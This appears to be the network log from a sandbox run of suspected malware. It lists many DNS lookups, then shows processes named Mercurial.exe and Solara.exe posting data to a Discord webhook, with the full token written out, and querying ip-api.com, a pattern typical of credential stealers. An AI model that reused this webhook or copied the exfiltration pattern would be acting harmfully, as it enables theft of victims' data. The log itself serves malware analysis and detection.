Remote address:8.8.8.8:53Requestbzib.nelreports.netIN AResponsebzib.nelreports.netIN CNAMEbzib.nelreports.net.akamaized.netbzib.nelreports.net.akamaized.netIN CNAMEa416.dscd.akamai.neta416.dscd.akamai.netIN A88.221.134.17a416.dscd.akamai.netIN A88.221.135.81
-
Remote address:8.8.8.8:53Requestbzib.nelreports.netIN UnknownResponsebzib.nelreports.netIN CNAMEbzib.nelreports.net.akamaized.netbzib.nelreports.net.akamaized.netIN CNAMEa416.dscd.akamai.net
-
Remote address:8.8.8.8:53Request8.8.8.8.in-addr.arpaIN PTRResponse8.8.8.8.in-addr.arpaIN PTRdnsgoogle
-
Remote address:8.8.8.8:53Request215.156.26.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request17.160.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request241.150.49.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestgithub.githubassets.comIN AResponsegithub.githubassets.comIN A185.199.109.154github.githubassets.comIN A185.199.108.154github.githubassets.comIN A185.199.111.154github.githubassets.comIN A185.199.110.154
-
Remote address:8.8.8.8:53Requestgithub.githubassets.comIN UnknownResponse
-
Remote address:8.8.8.8:53Requestavatars.githubusercontent.comIN AResponseavatars.githubusercontent.comIN A185.199.111.133avatars.githubusercontent.comIN A185.199.109.133avatars.githubusercontent.comIN A185.199.110.133avatars.githubusercontent.comIN A185.199.108.133
-
Remote address:8.8.8.8:53Requestavatars.githubusercontent.comIN UnknownResponse
-
Remote address:8.8.8.8:53Requestuser-images.githubusercontent.comIN AResponseuser-images.githubusercontent.comIN A185.199.111.133user-images.githubusercontent.comIN A185.199.110.133user-images.githubusercontent.comIN A185.199.108.133user-images.githubusercontent.comIN A185.199.109.133
-
Remote address:8.8.8.8:53Requestuser-images.githubusercontent.comIN UnknownResponse
-
Remote address:8.8.8.8:53Requestgithub-cloud.s3.amazonaws.comIN AResponsegithub-cloud.s3.amazonaws.comIN CNAMEs3-1-w.amazonaws.coms3-1-w.amazonaws.comIN CNAMEs3-w.us-east-1.amazonaws.coms3-w.us-east-1.amazonaws.comIN A16.182.70.233s3-w.us-east-1.amazonaws.comIN A52.216.42.129s3-w.us-east-1.amazonaws.comIN A3.5.9.154s3-w.us-east-1.amazonaws.comIN A3.5.20.102s3-w.us-east-1.amazonaws.comIN A16.182.41.49s3-w.us-east-1.amazonaws.comIN A3.5.25.213s3-w.us-east-1.amazonaws.comIN A52.217.130.25s3-w.us-east-1.amazonaws.comIN A16.182.108.209
-
Remote address:8.8.8.8:53Requestgithub-cloud.s3.amazonaws.comIN UnknownResponsegithub-cloud.s3.amazonaws.comIN CNAMEs3-1-w.amazonaws.coms3-1-w.amazonaws.comIN CNAMEs3-w.us-east-1.amazonaws.com
-
Remote address:8.8.8.8:53Requestnav-edge.smartscreen.microsoft.comIN AResponsenav-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-edge.trafficmanager.netprod-atm-wds-edge.trafficmanager.netIN CNAMEprod-agic-us-3.uksouth.cloudapp.azure.comprod-agic-us-3.uksouth.cloudapp.azure.comIN A172.165.61.93
-
Remote address:8.8.8.8:53Requestnav-edge.smartscreen.microsoft.comIN UnknownResponsenav-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-edge.trafficmanager.netprod-atm-wds-edge.trafficmanager.netIN CNAMEprod-agic-us-1.uksouth.cloudapp.azure.com
-
Remote address:8.8.8.8:53Request17.134.221.88.in-addr.arpaIN PTRResponse17.134.221.88.in-addr.arpaIN PTRa88-221-134-17deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request133.111.199.185.in-addr.arpaIN PTRResponse133.111.199.185.in-addr.arpaIN PTRcdn-185-199-111-133githubcom
-
Remote address:8.8.8.8:53Request154.109.199.185.in-addr.arpaIN PTRResponse154.109.199.185.in-addr.arpaIN PTRcdn-185-199-109-154githubcom
-
Remote address:8.8.8.8:53Request93.61.165.172.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request27.135.221.88.in-addr.arpaIN PTRResponse27.135.221.88.in-addr.arpaIN PTRa88-221-135-27deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Requestcollector.github.comIN AResponsecollector.github.comIN CNAMEglb-db52c2cf8be544.github.comglb-db52c2cf8be544.github.comIN A140.82.112.22
-
Remote address:8.8.8.8:53Requestcollector.github.comIN UnknownResponsecollector.github.comIN CNAMEglb-db52c2cf8be544.github.com
-
Remote address:8.8.8.8:53Request22.112.82.140.in-addr.arpaIN PTRResponse22.112.82.140.in-addr.arpaIN PTRlb-140-82-112-22-iadgithubcom
-
Remote address:8.8.8.8:53Requestapi.github.comIN AResponseapi.github.comIN A20.26.156.210
-
Remote address:8.8.8.8:53Requestapi.github.comIN UnknownResponse
-
Remote address:8.8.8.8:53Request210.156.26.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestgithub.comIN AResponsegithub.comIN A20.26.156.215
-
Remote address:8.8.8.8:53Requestgithub.comIN AResponsegithub.comIN A20.26.156.215
-
Remote address:8.8.8.8:53Requestobjects.githubusercontent.comIN AResponseobjects.githubusercontent.comIN A185.199.109.133objects.githubusercontent.comIN A185.199.110.133objects.githubusercontent.comIN A185.199.111.133objects.githubusercontent.comIN A185.199.108.133
-
Remote address:8.8.8.8:53Requestobjects.githubusercontent.comIN AResponseobjects.githubusercontent.comIN A185.199.109.133objects.githubusercontent.comIN A185.199.110.133objects.githubusercontent.comIN A185.199.111.133objects.githubusercontent.comIN A185.199.108.133
-
Remote address:8.8.8.8:53Requestobjects.githubusercontent.comIN UnknownResponse
-
Remote address:8.8.8.8:53Requestdl-edge.smartscreen.microsoft.comIN AResponsedl-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-edge.trafficmanager.netprod-atm-wds-edge.trafficmanager.netIN CNAMEprod-agic-us-2.uksouth.cloudapp.azure.comprod-agic-us-2.uksouth.cloudapp.azure.comIN A172.165.69.228
-
Remote address:8.8.8.8:53Requestdl-edge.smartscreen.microsoft.comIN UnknownResponsedl-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-edge.trafficmanager.netprod-atm-wds-edge.trafficmanager.netIN CNAMEprod-agic-us-2.uksouth.cloudapp.azure.com
-
Remote address:8.8.8.8:53Request133.109.199.185.in-addr.arpaIN PTRResponse133.109.199.185.in-addr.arpaIN PTRcdn-185-199-109-133githubcom
-
Remote address:8.8.8.8:53Requestapp-edge.smartscreen.microsoft.comIN AResponseapp-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-apprep.trafficmanager.netprod-atm-wds-apprep.trafficmanager.netIN CNAMEprod-agic-us-1.uksouth.cloudapp.azure.comprod-agic-us-1.uksouth.cloudapp.azure.comIN A13.87.96.169
-
Remote address:8.8.8.8:53Requestapp-edge.smartscreen.microsoft.comIN UnknownResponseapp-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-apprep.trafficmanager.netprod-atm-wds-apprep.trafficmanager.netIN CNAMEprod-agic-us-2.uksouth.cloudapp.azure.com
-
Remote address:8.8.8.8:53Request169.96.87.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request28.118.140.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requesttelem-edge.smartscreen.microsoft.comIN AResponsetelem-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-edge.trafficmanager.netprod-atm-wds-edge.trafficmanager.netIN CNAMEprod-agic-uw-2.ukwest.cloudapp.azure.comprod-agic-uw-2.ukwest.cloudapp.azure.comIN A51.140.244.186
-
Remote address:8.8.8.8:53Requesttelem-edge.smartscreen.microsoft.comIN UnknownResponsetelem-edge.smartscreen.microsoft.comIN CNAMEprod-atm-wds-edge.trafficmanager.netprod-atm-wds-edge.trafficmanager.netIN CNAMEprod-agic-us-2.uksouth.cloudapp.azure.com
-
Remote address:8.8.8.8:53Requestr.bing.comIN AResponser.bing.comIN CNAMEp-static.bing.trafficmanager.netp-static.bing.trafficmanager.netIN CNAMEr.bing.com.edgekey.netr.bing.com.edgekey.netIN CNAMEe86303.dscx.akamaiedge.nete86303.dscx.akamaiedge.netIN A88.221.135.42e86303.dscx.akamaiedge.netIN A88.221.135.11e86303.dscx.akamaiedge.netIN A88.221.135.33e86303.dscx.akamaiedge.netIN A88.221.135.25e86303.dscx.akamaiedge.netIN A88.221.135.27e86303.dscx.akamaiedge.netIN A95.101.143.202
-
Remote address:8.8.8.8:53Requestr.bing.comIN UnknownResponser.bing.comIN CNAMEp-static.bing.trafficmanager.netp-static.bing.trafficmanager.netIN CNAMEr.bing.com.edgekey.netr.bing.com.edgekey.netIN CNAMEe86303.dscx.akamaiedge.net
-
Remote address:8.8.8.8:53Requestth.bing.comIN AResponseth.bing.comIN CNAMEp-th.bing.com.trafficmanager.netp-th.bing.com.trafficmanager.netIN CNAMEth.bing.com.edgekey.netth.bing.com.edgekey.netIN CNAMEe86303.dscx.akamaiedge.nete86303.dscx.akamaiedge.netIN A88.221.135.27e86303.dscx.akamaiedge.netIN A88.221.135.25e86303.dscx.akamaiedge.netIN A95.101.143.201e86303.dscx.akamaiedge.netIN A88.221.135.42e86303.dscx.akamaiedge.netIN A88.221.135.34e86303.dscx.akamaiedge.netIN A88.221.135.33e86303.dscx.akamaiedge.netIN A95.101.143.219
-
Remote address:8.8.8.8:53Requestth.bing.comIN UnknownResponseth.bing.comIN CNAMEp-th.bing.com.trafficmanager.netp-th.bing.com.trafficmanager.netIN CNAMEth.bing.com.edgekey.netth.bing.com.edgekey.netIN CNAMEe86303.dscx.akamaiedge.net
-
Remote address:8.8.8.8:53Request186.244.140.51.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestlogin.microsoftonline.comIN AResponselogin.microsoftonline.comIN CNAMElogin.mso.msidentity.comlogin.mso.msidentity.comIN CNAMEak.privatelink.msidentity.comak.privatelink.msidentity.comIN CNAMEwww.tm.ak.prd.aadg.trafficmanager.netwww.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.64www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.0www.tm.ak.prd.aadg.trafficmanager.netIN A40.126.31.73www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.2www.tm.ak.prd.aadg.trafficmanager.netIN A40.126.31.71www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.4www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.75www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.68
-
Remote address:8.8.8.8:53Requestlogin.microsoftonline.comIN UnknownResponselogin.microsoftonline.comIN CNAMElogin.mso.msidentity.comlogin.mso.msidentity.comIN CNAMEak.privatelink.msidentity.comak.privatelink.msidentity.comIN CNAMEwww.tm.ak.prd.aadg.trafficmanager.net
-
Remote address:8.8.8.8:53Requestlogin.microsoftonline.comIN AResponselogin.microsoftonline.comIN CNAMElogin.mso.msidentity.comlogin.mso.msidentity.comIN CNAMEak.privatelink.msidentity.comak.privatelink.msidentity.comIN CNAMEwww.tm.ak.prd.aadg.akadns.netwww.tm.ak.prd.aadg.akadns.netIN A40.126.32.140www.tm.ak.prd.aadg.akadns.netIN A40.126.32.72www.tm.ak.prd.aadg.akadns.netIN A40.126.32.74www.tm.ak.prd.aadg.akadns.netIN A20.190.160.20www.tm.ak.prd.aadg.akadns.netIN A20.190.160.14www.tm.ak.prd.aadg.akadns.netIN A20.190.160.17www.tm.ak.prd.aadg.akadns.netIN A20.190.160.22www.tm.ak.prd.aadg.akadns.netIN A40.126.32.138
-
Remote address:8.8.8.8:53Request42.135.221.88.in-addr.arpaIN PTRResponse42.135.221.88.in-addr.arpaIN PTRa88-221-135-42deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Request64.159.190.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestlogin.microsoftonline.comIN AResponselogin.microsoftonline.comIN CNAMElogin.mso.msidentity.comlogin.mso.msidentity.comIN CNAMEak.privatelink.msidentity.comak.privatelink.msidentity.comIN CNAMEwww.tm.ak.prd.aadg.trafficmanager.netwww.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.2www.tm.ak.prd.aadg.trafficmanager.netIN A40.126.31.67www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.4www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.73www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.75www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.0www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.64www.tm.ak.prd.aadg.trafficmanager.netIN A20.190.159.68
-
Remote address:8.8.8.8:53Requestservices.bingapis.comIN AResponseservices.bingapis.comIN CNAMEservices-bingapis-com.e-0001.e-msedge.netservices-bingapis-com.e-0001.e-msedge.netIN CNAMEe-0001.e-msedge.nete-0001.e-msedge.netIN A13.107.5.80
-
Remote address:8.8.8.8:53Requestservices.bingapis.comIN UnknownResponseservices.bingapis.comIN CNAMEservices-bingapis-com.e-0001.e-msedge.netservices-bingapis-com.e-0001.e-msedge.netIN CNAMEe-0001.e-msedge.net
-
Remote address:8.8.8.8:53Request80.5.107.13.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request72.32.126.40.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestwww.7-zip.orgIN AResponsewww.7-zip.orgIN A49.12.202.237
-
Remote address:8.8.8.8:53Requestwww.7-zip.orgIN UnknownResponse
-
Remote address:8.8.8.8:53Requestwww.7-zip.orgIN AResponsewww.7-zip.orgIN A49.12.202.237
-
Remote address:8.8.8.8:53Request200.197.79.204.in-addr.arpaIN PTRResponse200.197.79.204.in-addr.arpaIN PTRa-0001a-msedgenet
-
Remote address:8.8.8.8:53Request237.202.12.49.in-addr.arpaIN PTRResponse237.202.12.49.in-addr.arpaIN PTRstatic2372021249clientsyour-serverde
-
Remote address:8.8.8.8:53Requestwww.7-zip.orgIN AResponsewww.7-zip.orgIN A49.12.202.237
-
Remote address:8.8.8.8:53Requestwww.7-zip.orgIN AResponsewww.7-zip.orgIN A49.12.202.237
-
Remote address:8.8.8.8:53Requestgithub.comIN AResponsegithub.comIN A20.26.156.215
-
Remote address:8.8.8.8:53Requestobjects.githubusercontent.comIN AResponseobjects.githubusercontent.comIN A185.199.110.133objects.githubusercontent.comIN A185.199.109.133objects.githubusercontent.comIN A185.199.111.133objects.githubusercontent.comIN A185.199.108.133
-
Remote address:8.8.8.8:53Request26.165.165.52.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request198.187.3.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request217.135.221.88.in-addr.arpaIN PTRResponse217.135.221.88.in-addr.arpaIN PTRa88-221-135-217deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.135.232discord.comIN A162.159.138.232discord.comIN A162.159.128.233discord.comIN A162.159.137.232discord.comIN A162.159.136.232
-
Remote address:8.8.8.8:53Requestdiscord.comIN UnknownResponsediscord.comIN Unknownh3h2���颟�袟�袟�袟��
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.137.232discord.comIN A162.159.138.232discord.comIN A162.159.128.233discord.comIN A162.159.135.232discord.comIN A162.159.136.232
-
Remote address:8.8.8.8:53Requestcdn.prod.website-files.comIN AResponsecdn.prod.website-files.comIN A104.18.160.117cdn.prod.website-files.comIN A104.18.161.117
-
Remote address:8.8.8.8:53Requestcdn.prod.website-files.comIN UnknownResponsecdn.prod.website-files.comIN Unknownh3h2h�uh�u &Gh�u&Gh�u
-
Remote address:8.8.8.8:53Requestajax.googleapis.comIN AResponseajax.googleapis.comIN A142.250.180.10
-
Remote address:8.8.8.8:53Requestajax.googleapis.comIN UnknownResponse
-
Remote address:8.8.8.8:53Requestcdn.localizeapi.comIN AResponsecdn.localizeapi.comIN A104.22.20.64cdn.localizeapi.comIN A172.67.41.53cdn.localizeapi.comIN A104.22.21.64
-
Remote address:8.8.8.8:53Requestcdn.localizeapi.comIN UnknownResponsecdn.localizeapi.comIN Unknownh3h2h@h@�C)50&Gh@&Gh@&G�C)5
-
Remote address:8.8.8.8:53Request232.135.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request117.160.18.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request64.20.22.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request3.200.250.142.in-addr.arpaIN PTRResponse3.200.250.142.in-addr.arpaIN PTRlhr48s29-in-f31e100net
-
Remote address:8.8.8.8:53Request10.180.250.142.in-addr.arpaIN PTRResponse10.180.250.142.in-addr.arpaIN PTRlhr25s32-in-f101e100net
-
Remote address:8.8.8.8:53Requestd3e54v103j8qbb.cloudfront.netIN AResponsed3e54v103j8qbb.cloudfront.netIN A18.245.246.158d3e54v103j8qbb.cloudfront.netIN A18.245.246.114d3e54v103j8qbb.cloudfront.netIN A18.245.246.167d3e54v103j8qbb.cloudfront.netIN A18.245.246.151
-
Remote address:8.8.8.8:53Requestd3e54v103j8qbb.cloudfront.netIN UnknownResponse
-
Remote address:8.8.8.8:53Requestcdn.discordapp.comIN AResponsecdn.discordapp.comIN A162.159.133.233cdn.discordapp.comIN A162.159.130.233cdn.discordapp.comIN A162.159.135.233cdn.discordapp.comIN A162.159.134.233cdn.discordapp.comIN A162.159.129.233
-
Remote address:8.8.8.8:53Requestcdn.discordapp.comIN UnknownResponsecdn.discordapp.comIN Unknownh3h2���颟�颟�颟�颟��
-
Remote address:8.8.8.8:53Request158.246.245.18.in-addr.arpaIN PTRResponse158.246.245.18.in-addr.arpaIN PTRserver-18-245-246-158lhr5r cloudfrontnet
-
Remote address:8.8.8.8:53Request233.133.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request240.221.184.93.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestgeolocation.onetrust.comIN AResponsegeolocation.onetrust.comIN A172.64.155.119geolocation.onetrust.comIN A104.18.32.137
-
Remote address:8.8.8.8:53Requestgeolocation.onetrust.comIN UnknownResponsegeolocation.onetrust.comIN Unknownh2h ��@�w &GDh �&GD�@�w
-
Remote address:8.8.8.8:53Request232.187.250.142.in-addr.arpaIN PTRResponse232.187.250.142.in-addr.arpaIN PTRlhr25s34-in-f81e100net
-
Remote address:8.8.8.8:53Request119.155.64.172.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.137.232discord.comIN A162.159.135.232discord.comIN A162.159.136.232discord.comIN A162.159.138.232discord.comIN A162.159.128.233
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.135.232discord.comIN A162.159.136.232discord.comIN A162.159.128.233discord.comIN A162.159.137.232discord.comIN A162.159.138.232
-
Remote address:8.8.8.8:53Requestremote-auth-gateway.discord.ggIN AResponseremote-auth-gateway.discord.ggIN A162.159.135.234remote-auth-gateway.discord.ggIN A162.159.134.234remote-auth-gateway.discord.ggIN A162.159.133.234remote-auth-gateway.discord.ggIN A162.159.136.234remote-auth-gateway.discord.ggIN A162.159.130.234
-
Remote address:8.8.8.8:53Requestremote-auth-gateway.discord.ggIN UnknownResponseremote-auth-gateway.discord.ggIN Unknownh2���ꢟ�ꢟ�ꢟ�ꢟ��
-
Remote address:8.8.8.8:53Request234.135.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestjs.hcaptcha.comIN AResponsejs.hcaptcha.comIN A104.19.230.21js.hcaptcha.comIN A104.19.229.21
-
Remote address:8.8.8.8:53Requestjs.hcaptcha.comIN UnknownResponsejs.hcaptcha.comIN Unknownh3h2h�h�
-
Remote address:8.8.8.8:53Request21.230.19.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestnewassets.hcaptcha.comIN AResponsenewassets.hcaptcha.comIN A104.19.230.21newassets.hcaptcha.comIN A104.19.229.21
-
Remote address:8.8.8.8:53Requestnewassets.hcaptcha.comIN UnknownResponsenewassets.hcaptcha.comIN Unknownh3h2h�h�
-
Remote address:8.8.8.8:53Requestnewassets.hcaptcha.comIN AResponsenewassets.hcaptcha.comIN A104.19.230.21newassets.hcaptcha.comIN A104.19.229.21
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.136.232discord.comIN A162.159.128.233discord.comIN A162.159.137.232discord.comIN A162.159.138.232discord.comIN A162.159.135.232
-
Remote address:8.8.8.8:53Requestnewassets.hcaptcha.comIN AResponsenewassets.hcaptcha.comIN A104.19.229.21newassets.hcaptcha.comIN A104.19.230.21
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.136.232discord.comIN A162.159.137.232discord.comIN A162.159.138.232discord.comIN A162.159.128.233discord.comIN A162.159.135.232
-
Remote address:8.8.8.8:53Requestapi.hcaptcha.comIN AResponseapi.hcaptcha.comIN A104.19.229.21api.hcaptcha.comIN A104.19.230.21
-
Remote address:8.8.8.8:53Requestapi.hcaptcha.comIN UnknownResponseapi.hcaptcha.comIN Unknownh3h2h�h�
-
Remote address:8.8.8.8:53Requeststun.l.google.comIN AResponsestun.l.google.comIN A74.125.250.129
-
Remote address:8.8.8.8:53Requeststun.l.google.comIN AAAAResponsestun.l.google.comIN AAAA2001:4860:4864:5:8000::1
-
Remote address:8.8.8.8:53Requeststun.l.google.comIN AAAAResponsestun.l.google.comIN AAAA2001:4860:4864:5:8000::1
-
Remote address:8.8.8.8:53Request129.250.125.74.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request21.229.19.104.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requestgateway.discord.ggIN AResponsegateway.discord.ggIN A162.159.136.234gateway.discord.ggIN A162.159.133.234gateway.discord.ggIN A162.159.134.234gateway.discord.ggIN A162.159.135.234gateway.discord.ggIN A162.159.130.234
-
Remote address:8.8.8.8:53Requestgateway.discord.ggIN UnknownResponsegateway.discord.ggIN Unknownh2���ꢟ�ꢟ�ꢟ�ꢟ��
-
Remote address:8.8.8.8:53Request234.136.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requeststatus.discord.comIN AResponsestatus.discord.comIN A162.159.135.232status.discord.comIN A162.159.137.232status.discord.comIN A162.159.128.233status.discord.comIN A162.159.138.232status.discord.comIN A162.159.136.232
-
Remote address:8.8.8.8:53Requeststatus.discord.comIN UnknownResponsestatus.discord.comIN Unknownh3h2���颟�袟�袟�袟��
-
Remote address:8.8.8.8:53Requestmedia.discordapp.netIN AResponsemedia.discordapp.netIN A162.159.128.232media.discordapp.netIN A162.159.129.232media.discordapp.netIN A162.159.133.232media.discordapp.netIN A162.159.134.232media.discordapp.netIN A162.159.130.232
-
Remote address:8.8.8.8:53Requestmedia.discordapp.netIN UnknownResponsemedia.discordapp.netIN Unknownh3h2���袟�袟�袟�袟��
-
Remote address:8.8.8.8:53Request232.128.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request90.65.42.20.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Requesta.nel.cloudflare.comIN AResponsea.nel.cloudflare.comIN A35.190.80.1
-
Remote address:8.8.8.8:53Requesta.nel.cloudflare.comIN UnknownResponse
-
Remote address:8.8.8.8:53Request1.80.190.35.in-addr.arpaIN PTRResponse1.80.190.35.in-addr.arpaIN PTR18019035bcgoogleusercontentcom
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.137.232discord.comIN A162.159.128.233discord.comIN A162.159.138.232discord.comIN A162.159.136.232discord.comIN A162.159.135.232
-
POSThttps://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0TMercurial.exeRemote address:162.159.137.232:443RequestPOST /api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0T HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: discord.com
Content-Length: 26
Expect: 100-continue
Connection: Keep-Alive
ResponseHTTP/1.1 204 No Content
Content-Type: text/html; charset=utf-8
Connection: keep-alive
set-cookie: __dcfduid=57a431ac748911efb2faae47ff38e562; Expires=Sun, 16-Sep-2029 00:11:10 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1726531871
x-ratelimit-reset-after: 1
via: 1.1 google
alt-svc: h3=":443"; ma=86400
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AhAKpkghf%2Fxvrd2LRS%2BzSR%2BnGVV%2BPs4Ega6SOBhbqksCw2C5bJsEc9huFJtguscgj0uXbhs%2BnC7cO%2Bf7EN4vDKAmwPKOK7B26bgSn3qtpL1%2FrH2jZJ48pyJmjrzM"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=57a431ac748911efb2faae47ff38e562615817136c768608c46c88e15ed18fbd5517db2f6f608fb9c2ca4e3a93e952d3; Expires=Sun, 16-Sep-2029 00:11:10 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=011bbba8ad3150b6b2279d0f6d2b7ecd55acb513-1726531870; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=70GLOYhDinhuZOy_dgsLJ_CftvhYtjn5UZmllcdsYzA-1726531870194-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8c44e09b7a349498-LHR
-
Remote address:8.8.8.8:53Request232.137.159.162.in-addr.arpaIN PTRResponse
-
Remote address:8.8.8.8:53Request33.135.221.88.in-addr.arpaIN PTRResponse33.135.221.88.in-addr.arpaIN PTRa88-221-135-33deploystaticakamaitechnologiescom
-
Remote address:8.8.8.8:53Requestip4.seeip.orgIN AResponseip4.seeip.orgIN A23.128.64.141
-
Remote address:8.8.8.8:53Requestip-api.comIN AResponseip-api.comIN A208.95.112.1
-
Remote address:208.95.112.1:80RequestGET //json/ HTTP/1.1
Host: ip-api.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 311
Access-Control-Allow-Origin: *
X-Ttl: 60
X-Rl: 44
-
Remote address:8.8.8.8:53Requestdiscord.comIN AResponsediscord.comIN A162.159.137.232discord.comIN A162.159.136.232discord.comIN A162.159.135.232discord.comIN A162.159.128.233discord.comIN A162.159.138.232
-
POSThttps://discord.com/api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0TSolara.exeRemote address:162.159.137.232:443RequestPOST /api/webhooks/1285392429763264523/QhWtw3xWcKMVTCHdINs3FFspFoMN67-YFOYXhcQDKOh-KEQVm2gl37Orfly54K5uFJ0T HTTP/1.1
Content-Type: application/json
Host: discord.com
Content-Length: 446
Expect: 100-continue
Connection: Keep-Alive
ResponseHTTP/1.1 204 No Content
Content-Type: text/html; charset=utf-8
Connection: keep-alive
set-cookie: __dcfduid=6cca3ed2748911efba039ee05a178d61; Expires=Sun, 16-Sep-2029 00:11:45 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
strict-transport-security: max-age=31536000; includeSubDomains; preload
x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
x-ratelimit-limit: 5
x-ratelimit-remaining: 4
x-ratelimit-reset: 1726531906
x-ratelimit-reset-after: 1
via: 1.1 google
alt-svc: h3=":443"; ma=86400
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qN8ew6b%2BsnNnrlIlFRr8Ucznj7pC42HA0XICGB%2Fnpyi%2Bbml133pfBuk4KAY%2Bx3XbeNhadLXmvf2biG8tb0jGQZNu%2B49hKLdgqwNdbjtiKd17hJb3XKQZIAuO4NEI"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
X-Content-Type-Options: nosniff
Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
Set-Cookie: __sdcfduid=6cca3ed2748911efba039ee05a178d61c2135ce58d17fdccd41052d022ab90441b87c98b9c04dee5762388c2905916f3; Expires=Sun, 16-Sep-2029 00:11:45 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
Set-Cookie: __cfruid=5bc75ad7137b32dd864608d8b6115eb191abe2c1-1726531905; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Set-Cookie: _cfuvid=nfGZBXlTKJAj7Fa0fXhaxd4KhCognlEaRV72izozh9A-1726531905676-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
Server: cloudflare
CF-RAY: 8c44e1786a5576ed-LHR
-
